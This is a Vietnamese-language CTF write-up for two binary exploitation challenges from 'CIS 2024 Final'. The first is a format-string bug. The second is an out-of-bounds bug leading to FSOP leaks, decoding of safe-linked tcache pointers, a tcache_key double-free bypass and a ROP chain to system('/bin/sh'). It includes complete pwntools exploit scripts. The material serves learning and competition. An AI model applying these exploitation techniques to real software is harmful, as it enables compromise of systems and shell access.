# CIS 2024 Final ## Chall1 : Format string ### Phân tích ![image](https://hackmd.io/_uploads/SJNgYnkk1l.png) - Bugs ở đây thì đã rõ là FMT - Ngoài ra challenge còn cho các ta 1 'gift' là 2 bytes cuối của stack ### Khai thác #### :skull_and_crossbones: exit() : 'No' return address ? - Chương trình sử dung hàm `exit()` để end chương trình nên không thế overwrite saved rip của main -> ta chuyển hướng qua overwrite `saved rip` của printf (do thực chất `printf` là 1 hàm `@plt` nên bên trong nó sẽ có những hàm ) :::warning ![image](https://hackmd.io/_uploads/Hk78nhy11e.png) - Vấn đề gặp phải ở đây là `saved rip` lại nằm ở trên vị trí có thể overwrite được -> How to bypass it :question: ::: #### :bulb: FMT : full form & short form - Ta có thể bypass điều này bằng cách overwrite 1 địa chỉ stack làm cho thành địa chỉ của `saved rip` sau đó overwrite saved rip như bình thường. Nhưng ở đây chúng ta sẽ phải overwrite 2 lần trong 1 lệnh printf, chính vì vậy phải thực sự hiểu rõ về nó :open_book: :::info | | full form | short form | | -------- | -------- | -------- | | format | %c%c%c%c%c%n| %6$n | |work|- ở dạng này hàm fmt sẽ thưc hiện lần lượt từ trái sang phải. |- chọn vị trị 6 để thực hiện đầu tiên. ||- Buffer sẽ được làm mới sau mỗi đối số(ở đây là %c)|- Buffer sẽ được lưu lại từ $ đầu tiên và không được thay đổi sau mỗi lần vị trí tại $ thay đổi . ||- Thay đổi offset bằng số lần in trước đó| - Thay đổi offset bằng padding ở $ |Tốc độ| - Chậm hơn| - Nhanh hơn ::: #### :unlock: Start overwrite : Loop main - Có lẽ chuẩn bị đã xong, điểm đáng chú ý là sử dụng full form & short form theo trình tự như thế nào để phù hợp nhất. ```py main = 0x151a9 # loop main p.recvuntil(b'Gift: ') leak = int(b'0x'+p.recvline(keepends=False), 16)-0xc info("leak: " + hex(leak)) #saved rip address of printf : 0xdf48 payload = f"%c%c%c%c%c%c%{leak-6}c%hn%{main-leak}c%28$hn|%9$p|%13$p|" GDB(p) sl(p,payload) p.recvuntil(b'|') libc.address = int(p.recvuntil(b'|', drop=True), 16) - 0x2a1ca info("libc: " + hex(libc.address)) exe.address = int(p.recvuntil(b'|', drop=True), 16) - 0x11a9 info("exe: " + hex(exe.address)) ``` #### :unlock: ## Chall2 : Out of bound ### Phân tích #### :warning: Tổng quan - Challenge này giống như 1 game bắn súng : Cho phép chúng tạo nhân vật, nhập tên,chọn nv, sửa tên, xóa nhân vật. Sau đó chọn nhân vật để chơi game.(ở hàm set `playerer` lần lượt là `new_player`, `select_player`, `edit_player`, `delete_player`) - Về nội dung play ntn : sẽ tạo ra 1 dãy và random vị trí kẻ địch, việc của gamer là chọn tọa độ(<48) và loại đạn(là các chữ byte) : `new_game` - Đưa ra đánh giá (feedback) : `feedback` - Sau khi chơi thì có thể lưu game -> có thể xóa : `save_game` + `remove` - Ngoài ra còn cung cấp thêm hàm cheat nhưng thấy khá vô nghĩa. : `cheat` #### :warning: Reverse + săn bug - Chương trình này khá dài nên mình sẽ phân tích ở những phần mà chúng ta có thể khai thác, phần reverse sâu hơn có lẽ không làm khó các pwner đâu :joy: :point_right: `set_player -> case 3: edit_player` ![image](https://hackmd.io/_uploads/HkskKGaRR.png) :::info - case này sau khi tạo player sẽ cho phép sửa lại tên của nhân vật (thay đổi nội dung của con trỏ đang được lưu ở mảng con trỏ `name_list`) - có 1 BUG khi nó check nếu hàm `scanf` return False thì sẽ bỏ qua `label` invalid , lúc này biến index có vẫn giữ nguyên giá trị rác -> lỗi `OOB` :sparkles: - Tuy nhiên sau edit xong, thì bit_edit sẽ được set bằng 1 để báo là đã edit -> điều này nghĩa là ta chỉ có thể edit 1 lần :sob: ::: :point_right: `save_game` ![image](https://hackmd.io/_uploads/H1LZtfTAA.png) :::info - Hàm này cho lưu game đã chơi thông qua idx mình nhập tuy nhiên lại có bug OOB khi biến idx có thể âm :sparkles: - Nhưng chỉ lưu được khi `ptr` đang là NULL ::: ### Khai thác #### :warning: LEAK LIBC + STACK + HEAP - Dựa vào bug OOB ơ case `edit_player` kết hợp cách bố trị dữ liệu của chương trình ![image](https://hackmd.io/_uploads/r1C7KMa0C.png) :::warning - Ta thấy nếu như OOB với idx < 0 thì có thể khai thác `_IO_2_1_stdout_` - Đầu tiên case edit_player sẽ in ra `_IO_2_1_stdout_` -> có LIBC :dart: - Sử dụng lần read vào stdout để `FSOP` + biến `environ` -> leak được STACK :dart: - Ở đây hoàn toàn có thể dùng `main_arena` + `environ` để leak luôn heap và stack trong 1 lần tuy nhiên còn 1 kiến thức mới mình muốn đề cập nên mình dùng `tcache` để leak heap ::: ```py ################# leak libc ################# sla(p,b'>> ',b'3') sla(p,b'>> ',str(-6).encode()) # GDB(p) sla(p,b'>> ',b'3') sla(p,b'>> ',b'+') r(p,8) leak = intFromByte(p,6) print("libc_leak:",hex(leak)) libc.address =leak - 0x22f803 print("libc_base:",hex(libc.address)) libc_base = libc.address ################# leak stack ################# environ = libc.address + 0x236238 _flags = 0xfbad1800 main_arena = environ - 0x7ffff7fb3c80 **** payload = p64(_flags) + b'a'*8*3 + p64(environ) +p64(environ+0x10) # GDB(p) sa(p,b'Enter new name: ',payload) leak_stack = intFromByte(p,6) print("stack_leak:",hex(leak_stack)) ``` ##### :point_right: Leak heap : ![image](https://hackmd.io/_uploads/rJgLKM6AA.png) - Ta biết rằng `fw pointer` của `tcache` sẽ trỏ đến userdata của chunk free trước nhưng ở trong hình thì điều này có vẻ sai sai -> **Vậy điều gì đã xảy ra với tcache** :question: - [Safe linking](https://ir0nstone.gitbook.io/notes/binexp/heap/safe-linking) : Đây chính là câu trả lời cho câu hỏi đó, nói tóm gọn chính là 1 mã hóa fw pointer của glibc ; thật may chúng ta đã có cách giải mã nó . ```py def deobfuscate(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val ``` :unlock: Công việc còn lại đơn giản là leak fw pointer(bị mã hóa) như bình thường rồi ném vào hàm này để decode thôi ```py for i in range(3): delete_player(p,i) new_player(p,b'a') sla(p,b'>> ',b'2') #select player ru(p,b'0. ') val = intFromByte(p,6) leak_heap = ((deobfuscate(val) & 0xffffffffff00)) + 0xa0 print("leak_heap:",hex(leak_heap)) sla(p,b'>> ',str(0)) ``` #### :warning: Double free/Use After free - Dựa vào bug OOB ở hàm `save_game`, có nghĩa là ta có thể đưa bất kì giá trị nào có `index < 0` ở bss vào biến `ptr` ![image](https://hackmd.io/_uploads/rywVE-T0C.png) ![image](https://hackmd.io/_uploads/B1eG4ZTA0.png) :::warning - Hàm `feed_back` cho phép chúng ta đưa 1 số nguyên 8bytes vào bss (do rate đang ở bss ) - Quan sát thấy rate đang ở `index<0` (so với game_list) -> Đưa 1 địa chỉ `heap` (ví dụ: `name_list`) đang được sử dụng vào `rate` -> OOB `rate` vào `ptr` -> Ta có lỗi Double Free/Use After Free :dart: ::: ![image](https://hackmd.io/_uploads/H1EOnZTRR.png) ![image](https://hackmd.io/_uploads/HJ35nWpRC.png) - Sau khi có `UAF`, mình nghĩ mọi thứ đã xong nhưng đời không như mơ ![image](https://hackmd.io/_uploads/SJ_K6WpCA.png) :question: Điều gì đã xảy ra với tcache của chúng ta:question: :::danger - Ở các phien bản glibc mới, các nhà phát hành đã bổ sung các cách bảo vệ ở bên trong `tcache_entry` : `tcache_key` :lock: [source](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4459) ![image](https://hackmd.io/_uploads/HJATCWTAC.png) [tcache_entry](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3126) ![image](https://hackmd.io/_uploads/HyRg1zaRA.png) ![image](https://hackmd.io/_uploads/Bkq21MpAR.png) :point_right: Nó sẽ check xem chunk(userdata + 0x8) mình muốn free có key có giống với tcache_key không? Nếu có thì là đã free và báo lỗi :clown_face: ::: ##### :key: How to bypass this ??? - Để double free thành công thì chỉ có thể fake `tcache_key` nhưng phải làm sao đây - Đối với challenge này để thay đổi nội dung 1 chunk đã được tạo thì có case `edit_player` nhưng nó lại có `edit_bit` chỉ cho phép edit 1 lần, liệu có cách nào sửa được `edit_bit` kia không ? Câu trả lời là có. - Quay trở lại với hàm `save_game` với lỗi `OOB` : ![image](https://hackmd.io/_uploads/rJkTXGTRA.png) :point_right: Nó set null vị trí `game_list` sau khi đưa vào `ptr` -> Đưa `edit_bit` vào `ptr` #### :warning: ROP : Give me your flag :trophy: - Sau khi có thể edit lần 2 thì ta có thể fake `tcache_key` và tiến hành double free tcache như bình thường - Đoạn này fake fw pointer cua tcache vào stack để overwrite return address của hàm set_player thành system("/bin/sh\x00") thôi ### Full script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./chall_patched") libc = ELF("libc.so.6",checksec=False) def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def GDB(pid): base = get_exe_base(pid) gdb.attach(p, gdbscript=f''' b*{base} + 0x0000000000001E8D c ''') input() # p = remote("103.173.227.108",9011) # p = remote("0.0.0.0",9011) # input("GDB") p = process(exe.path) pid = p.pid # GDB() def newplayer(name): p.sendline(b"1") p.sendline(b"1") p.sendafter(b"Enter name: ",name) p.sendlineafter(b">>",b"5") def delete_player(index): p.sendline(b"1") p.sendline(b"4") p.sendline(f"{index}".encode()) p.sendlineafter(b">>",b"5") def savegame(index): p.sendline(b"3") p.sendline(f"{index}".encode()) def feedback(score): p.sendline(b"6") p.sendline(f"{score}".encode()) def newgame(): p.sendline(b"2") flag = 0xfbad1800 payload = flat(0x0,0x301) for i in range(9): newplayer(payload) p.recvuntil(b">>") p.sendline(b"2") p.sendline(b"22222") p.sendline(b"y") newplayer(b"1") for i in range(8): delete_player(i) p.recvuntil(b">>") for i in range(15): p.recvuntil(b">>") p.sendline(b"1") p.sendline(b"3") p.recvuntil(b"Edit player\n") p.recvuntil(b">> ") p.sendline(b"-6") p.sendline(b"3") p.recvuntil(b"Edit player\n") p.sendline(b"+") p.recvuntil(b"Edit player\n") p.recvuntil(b">> ") p.recvuntil(b">> ") p.recvuntil(b">> ") leak = int.from_bytes(p.recv(8),"little") libc.address = int.from_bytes(p.recv(8),"little") - 0x22f803 p.recv(0x40- 0x10) print(hex(libc.address)) payload = flat( flag,flag,flag,flag, p64(libc.address + 0x22eca8), p64(libc.address + 0x22eca8 + 0x75b8 + 0x10), p64(libc.address + 0x22eca8 + 0x75b8 + 0x10), ) p.send(payload) p.recvuntil(b"Enter new name: ") heap = int.from_bytes(p.recv(8),"little") - 0x4c0 print(hex(heap)) a = p.recv(1) stack = 0 for i in range(0x75b0//8): stack = int.from_bytes(p.recv(8),"little") if(((stack >> 40 & 0xff) == 0x7f ) and i == 3761) : break print(i,hex(stack)) print(hex(stack)) p.sendline(b"5") # GDB(pid) feedback(heap + 0x480) newplayer(b"1") GDB(pid) savegame(235) p.sendline(b"5") # GDB(pid) savegame(234) p.sendline(b"1") p.sendline(b"3") p.recvuntil(b"Edit player\n") p.recvuntil(b">> ") p.sendline(b"0") pl = flat(((heap + 0x480) >> 12) ^ (stack-0x148) ) p.sendafter(b"Enter new name:",pl) RDI = libc.address + 0x00000000000243d2 RSI = libc.address + 0x0000000000025d31 RDX_R12 = libc.address + 0x0000000000080e39 ROP = flat( libc.address + 0x22ea00, RDI,next(libc.search(b"/bin/sh\x00")), RSI,0,RDI+1, libc.sym["system"] ) # GDB() p.sendline(b"1") p.sendline(b"A") p.recvuntil(b">>") p.recvuntil(b">>") p.sendline(b"1") p.send(ROP) p.interactive() ```